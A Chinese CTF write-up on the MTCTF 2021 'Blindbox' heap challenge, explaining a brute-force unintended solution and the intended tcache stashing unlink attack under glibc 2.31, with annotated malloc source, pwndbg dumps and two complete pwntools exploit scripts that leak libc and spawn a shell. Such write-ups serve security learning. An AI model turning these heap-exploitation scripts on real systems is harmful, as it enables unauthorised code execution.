2021MTCTF-Blindbox复现学习

ayoung 2022-01-20 09:48:00
CTF

0x00 背景

MTCTF初赛碰到的题,复现了一下感觉预期解的构造还是挺妙的,出题人应该也是花了心思出的,可惜比赛的时候似乎被非预期了蛮多的。

0x01

官方wp

0x02 题目总览

glibc2.31,uaf,程序只能存三个堆地址,三个固定的大小,可申请chunk大小限制在0x90~0x233
允许多次使用calloc和一次malloc(0x90)
可编辑chunk,每次可以编辑0x10字节
输出堆块内容只能打印8字节,同时不允许0x7f出现

目标就是拿到system地址,每个字节和伪随机数异或,输入对应的值即可getshell

0x03非预期

题目没有考虑到地址开头可能是0x7e的情况
714g0K.png

所以只需要爆破一下,把chunk放进smallbin泄露地址即可

#! /usr/bin/env python
# -*- coding: utf-8 -*-  

from pwn import *  
context.arch = 'amd64'  
# context.log_level = 'debug'  


# r = remote("123.56.122.14",41224)
libc = ELF('libc-2.31.so')

def debug(s=None):
    if (s == None):
        gdb.attach(r)
    else:
        gdb.attach(r, s)
    pause()

def choose(choice, idx):
    r.recvuntil('>> ')
    r.sendline('1')
    r.recvuntil('Which lucky number do you want to choose')
    r.sendline(str(choice))
    r.recvuntil('Give index for this Blindbox(1-3):')
    r.sendline(str(idx))

def drop(idx):
    r.recvuntil('>> ')
    r.sendline('2')
    r.recvuntil('Which index do you want to drop?')
    r.sendline(str(idx))

def open(idx):
    r.recvuntil('>> ')
    r.sendline('3')
    r.recvuntil('Which Blindbox do you want to open?')
    r.sendline(str(idx))

def change(idx, ct):
    r.recvuntil('>> ')
    r.sendline('4')
    r.recvuntil('Which Blindbox do you want to change?')
    r.sendline(str(idx))
    r.recvuntil('New content:')
    r.send(ct)

def mawish(ct):
    r.recvuntil('>> ')
    r.sendline('5')
    r.recvuntil('your wish: ')
    r.send(ct)

def pay():
    r.recvuntil('>> ')
    r.sendline('6')


def PWN():
    r.recvuntil('Please tell me your name:')
    r.sendline('ayoung')
    r.recvuntil('Please select three lucky numbers from 0x88 ot 0x233')
    r.sendline('136')
    r.recvuntil('The second lucky number?')
    r.sendline('208')
    r.recvuntil('The third lucky number?')
    r.sendline('376')

    choose(1,1)
    choose(1,2)
    choose(1,3)
    drop(1)
    drop(2)
    drop(3)
    choose(1,1)
    choose(1,2)
    choose(1,3)
    drop(1)
    drop(2)
    drop(3)
    choose(1,1)
    choose(1,2)
    choose(1,3)
    drop(1)
    drop(2)
    drop(3)
    choose(1,1)
    choose(1,2)
    choose(1,3)
    drop(1)
    # drop(3)

    open(1)
    r.recvuntil('\n')
    s = r.recv()
    if b'secret,' in s:
        exit()
    else:
        pass
    print("1111111111111111")
    # gdb.attach(r)
    libc.address = u64(s[26:26+8])-96-0x10-libc.sym['__malloc_hook']
    print (hex(libc.address))
    sys = libc.sym['system']
    print (hex(sys))
    num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492]    

    r.recv()
    r.sendline('6')
    for i in range (8):
        r.recv()
        r.sendline(str(sys^num[i]).encode())



if __name__ == '__main__':
    while True:
        r = process('./Blindbox')
        try:
            PWN()
        except:
            r.close()
            continue
        else:
            r.interactive()
            break

0x04预期解

预期解是用tcache stashing unlink attack,感觉还是有点小复杂的

/malloc/malloc.c_int_malloc
添加了部分注释

  /*
     If a small request, check regular bin.  Since these "smallbins"
     hold one size each, no searching within bins is necessary.
     (For a large request, we need to wait until unsorted chunks are
     processed to find best fit. But for small ones, fits are exact
     anyway, so we can check now, which is faster.)
   */

  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)//取该索引对应的smallbin中最后一个chunk
        {
          bck = victim->bk;//获取倒数第二个chunk
      if (__glibc_unlikely (bck->fd != victim))//检查双向链表局部完整性
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;//victim从small bin链表卸下,即拿出smallbin最后一个chunk
          bck->fd = bin;

          if (av != &main_arena)
        set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);//获取对应size的tcache索引
      if (tcache && tc_idx < mp_.tcache_bins)//如果该索引在tcache bin的范围
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count//当tcache bin不为空且没满,且small bin不为空,则依次取smallbin中最后一个chunk插入tcache bin
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;//将当前chunk从small bin里卸下
              bck->fd = bin;//fd写入tcache地址,链入tcache

              tcache_put (tc_victim, tc_idx);//放入tcache
                }
        }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

执行calloc时,首先进入_int_malloc
发现size在smallbin范围,进入,获取0xa0大小对应的idx,拿到main_area上对应bin的地址,bin->fd指向对应大小smallbin双向链表头部,bin->bk指向smallbin双向链表尾部。接着(victim = last (bin)) != bin取出bin->bk且发现不指向bin自己,说明该smallbin双向链表不为空,赋值bckbck = victim->bk
接着有一步检查双向链表局部完整性的操作,victim即smallbin尾部的chunk,判断victim的bck的fd是否指回victim

f (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");

通过检查后就拿出victim这个chunk,也就是从smallbin尾部取chunk
相应地更新相邻下一个chunk的inuse位和bin(双向链表头节点)的fd和bk

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

如果这个时候smallbin中还有空闲的chunk且对应大小tcache不满时,不断smallbin的尾部取出chunk插入tcache中,即stash

正是由于在stash的过程中没有对smallbin链表进行任何检查,且在之前取出chunk时也只检查了最后一个chunk和倒数第二个chunk构成的部分双向链表是否完整,因此可以通过修改smallbin中chunk的bk加以利用,可以完成两件事
- 向tcache放一个fake chunk
- 任意地址写一个main_area上的地址

本题

本题涉及上述过程两次

程序在固定地址0x66666000开辟了一片空间
首先布局一下堆,通过切割chunk的方式切出0xa0大小的chunk,放进smallbin,重复三次往smallbin中放入三个0xa0大小chunk,相应的0xa0大小的tcache放四个

pwndbg> bin
tcachebins
0xa0 [  4]: 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
0xb0 [  7]: 0x555555559a80 —▸ 0x5555555599d0 —▸ 0x555555559920 —▸ 0x555555559870 —▸ 0x5555555597c0 —▸ 0x555555559710 —▸ 0x555555559660 ◂— 0x0
0x150 [  7]: 0x55555555a470 —▸ 0x55555555a320 —▸ 0x55555555a1d0 —▸ 0x55555555a080 —▸ 0x555555559f30 —▸ 0x555555559de0 —▸ 0x555555559c90 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x55555555afc0 —▸ 0x55555555ad10 —▸ 0x55555555a900 —▸ 0x7ffff7fa6c70 (main_arena+240) ◂— 0x55555555afc0
largebins
empty

然后修改最新插入的smallbin的bk指向地址0x66666000-0x10
配合程序开头允许向0x66666000输入的0x20字节布置一下bk,使得在calloc之后smallbin的尾部剩下一个fake chunk0x66665ff8

tcachebins
0xa0 [  4]: 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0

......
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 ◂— 0x0
BK: 0x55555555a900 —▸ 0x55555555ad10 —▸ 0x55555555afc0 —▸ 0x66665ff0 —▸ 0x66665ff8 ◂— ...

calloc(0x90)
取出尾部chunk0x55555555a900,然后按顺序把0x55555555ad10,0x55555555afc0,0x66665ff0插入tcache中

tcachebins
0xa0 [  7]: 0x66666000 —▸ 0x55555555afd0 —▸ 0x55555555ad20 —▸ 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
...
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 —▸ 0x55555555ad20 ◂— 0x0
BK: 0x66665ff8 ◂— 0x0

接着利用一次malloc(0x90)拿到0x66666000处的chunk并布置数据
如下,为什么这么布置请往下看

pwndbg> x/10gx 0x66666000
0x66666000: 0x00000000000000af  0x0000000000000000
0x66666010: 0x0000000066666008  0x0000000066665ff8
0x66666020: 0x0000000066665ffb  0x0000000000000000

此时的smallbin和tcache结构

tcachebins
0xa0 [  6]: 0x55555555afd0 —▸ 0x55555555ad20 —▸ 0x555555559480 —▸ 0x5555555593e0 —▸ 0x555555559340 —▸ 0x5555555592a0 ◂— 0x0
...
smallbins
0xa0 [corrupted]
FD: 0x55555555afc0 —▸ 0x55555555ad20 ◂— 0x0
BK: 0x66665ff8 —▸ 0x66666008 —▸ 0x66665ffb ◂— 0x665ff80000000066 /* 'f' */

再次calloc(0x90)
首先取出smallbin最后一个chunk0x66665ff8,检查局部双向链表完整性,由于刚才布置好的数据,满足0x66665ff8->bk->fd指回0x66665ff8,通过检查

pwndbg> x/gx 0x66665ff8+0x18
0x66666010: 0x0000000066666008
pwndbg> x/gx 0x0000000066666008+0x10
0x66666018: 0x0000000066665ff8

在取出chunk0x66665ff8后发现tcache中只有6个chunk,于是将smallbin尾部的chunk0x66666008插入tcache

插入前更新smallbin双向链表的头节点,执行

bin->bk = bck;
bck->fd = bin;

这里的bin即main_area上的地址,bck即0x66665ffb
于是0x66665ffb+0x10写入一个main_area上的地址(就是0xa0大小smallbin的头节点地址)

pwndbg> x/gx 0x66665ffb+0x10
0x6666600b: 0x00007ffff7fa6c70

现在就要提到之前布置的size位0xaf
我们知道calloc在取出chunk后会将chunk内容清空,而要拿到的libc地址在里面,所以得想办法不让calloc清空地址

/malloc/malloc.c中3452行

/* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
    {
      if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz);

      return mem;
    }
# define __builtin_expect(expr, val) (expr)

即可以看到当chunk被检测到mmap位为1时,且perturb_byte字符为0时,将不清空chunk直接返回
所以这里的size需要满足mmap位为1,事实上也只需要满足该条件,只放个0x2都行。

这里的perturb_byte好像是用作调试的,通常为0
__builtin_expect的使用允许程序员将最有可能执行的分支告诉编译器,例如上述代码中的使用意指perturb_byte==0概率很大,编译器会将可能性更大的代码紧跟着前面的代码,从而减少指令跳转带来的性能上的下降

最后由于拿到的指针是0x66666008,内容为

pwndbg> x/gx 0x66666008
0x66666008: 0xfff7fa6c70000000

不含0x7f,最后拿到libc后五个字节补上0x7f即可计算出system地址

exp

#! /usr/bin/env pytho  
# -*- coding: utf-8 -*-  

from pwn import *  
context.arch = 'amd64'  
context.log_level = 'debug'  


# r = remote("123.56.122.14",41224)
libc = ELF('libc-2.31.so')

def debug(s=None):
    if (s == None):
        gdb.attach(r)
    else:
        gdb.attach(r, s)
    pause()

def choose(choice, idx):
    r.recvuntil('>> ')
    r.sendline('1')
    r.recvuntil('Which lucky number do you want to choose')
    r.sendline(str(choice))
    r.recvuntil('Give index for this Blindbox(1-3):')
    r.sendline(str(idx))

def drop(idx):
    r.recvuntil('>> ')
    r.sendline('2')
    r.recvuntil('Which index do you want to drop?')
    r.sendline(str(idx))

def open(idx):
    r.recvuntil('>> ')
    r.sendline('3')
    r.recvuntil('Which Blindbox do you want to open?')
    r.sendline(str(idx))

def change(idx, ct):
    r.recvuntil('>> ')
    r.sendline('4')
    r.recvuntil('Which Blindbox do you want to change?')
    r.sendline(str(idx))
    r.recvuntil('New content:')
    r.send(ct)

def mawish(ct):
    r.recvuntil('>> ')
    r.sendline('5')
    r.recvuntil('your wish: ')
    r.send(ct)


r = process('./Blindbox')


r.recvuntil('Please tell me your name:')
r.sendline(p64(0)+p64(0x66666000-8)+p64(0)*2)
r.recvuntil('The first lucky number?')
r.sendline(str(0x90))
r.recvuntil('The second lucky number?')
r.sendline(str(0xa0))
r.recvuntil('The third lucky number?')
r.sendline(str(0x140))

#base 0x555555554000
#--------------0x90
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)
drop(2)
drop(3)
choose(1,1)
choose(1,2)
choose(1,3)
drop(1)

#---------------0xa0
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)
drop(2)
drop(3)
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)
drop(2)
drop(3)
choose(2,1)
choose(2,2)
choose(2,3)
drop(1)

#--------------0x140
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
drop(2)
drop(3)
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
drop(2)
drop(3)
choose(3,1)
choose(3,2)
choose(3,3)
drop(1)
#-----------------

choose(2,1)
choose(2,2)#***
drop(2)
drop(1)
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)
#-----------------

choose(2,1)
choose(2,2)#***
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)

#----------------
choose(2,1)
choose(2,2)#***
drop(1)
drop(2)
choose(3,1)
choose(2,3)
drop(1)
choose(2,3)
choose(2,3)


change(2, p64(0)+p64(0x66666000-0x10))
choose(1,1)

payload =  p64(0x2) + p64(0) + p64(0x66666008) 
payload += p64(0x66666008 - 0x10) + p64(0x66666008 - 0x10 + 3) + p64(0)
payload = payload.ljust(0x60, b'\x00')
mawish(payload)
choose(1,1)
open(1)

r.recvuntil('Blindbox: \x00\x00\x00')
libc.address = u64(r.recv(5)+b'\x7f\x00\x00')-240-0x10-libc.sym['__malloc_hook']
print (hex(libc.address))
sys = libc.sym['system']
print (hex(sys))
num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492]

r.recv()
r.sendline('6')
for i in range (8):
    r.recv()
    r.sendline(str(sys^num[i]).encode())

r.interactive()

总结

最后总结一下本题的预期解思路
- 先布局堆,tcache放上相应数量的chunk,并利用unsorted bin切割在不填满tcache的情况下造出三块不相邻的smallbin,且利用unsorted bin和top chunk合并在smallbin中留指针改bk。
- 第一次使用tcache stashing unlink将目标地址chunk放进tcache,并配合程序开始布置的bk,在smallbin中留一个fake chunk
- 使用malloc申请到目标地址处的chunk,并布置四部分数据:fake size满足mmap位为1不让calloc清空chunk,fake chunk->bk->fd==fake chunk通过双向链表局部检查,让fake chunk->bk->bk->fd处写入libc地址后五个字节
- 第二次使用tcache stashing unlink在拿到fake chunk的同时在其前八个字节处写入libc地址前5字节,完成泄露

评论

ayoung

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

SQL注入 文章:39 篇
无线安全 文章:27 篇
iOS安全 文章:36 篇
神器分享 文章:71 篇
数据安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录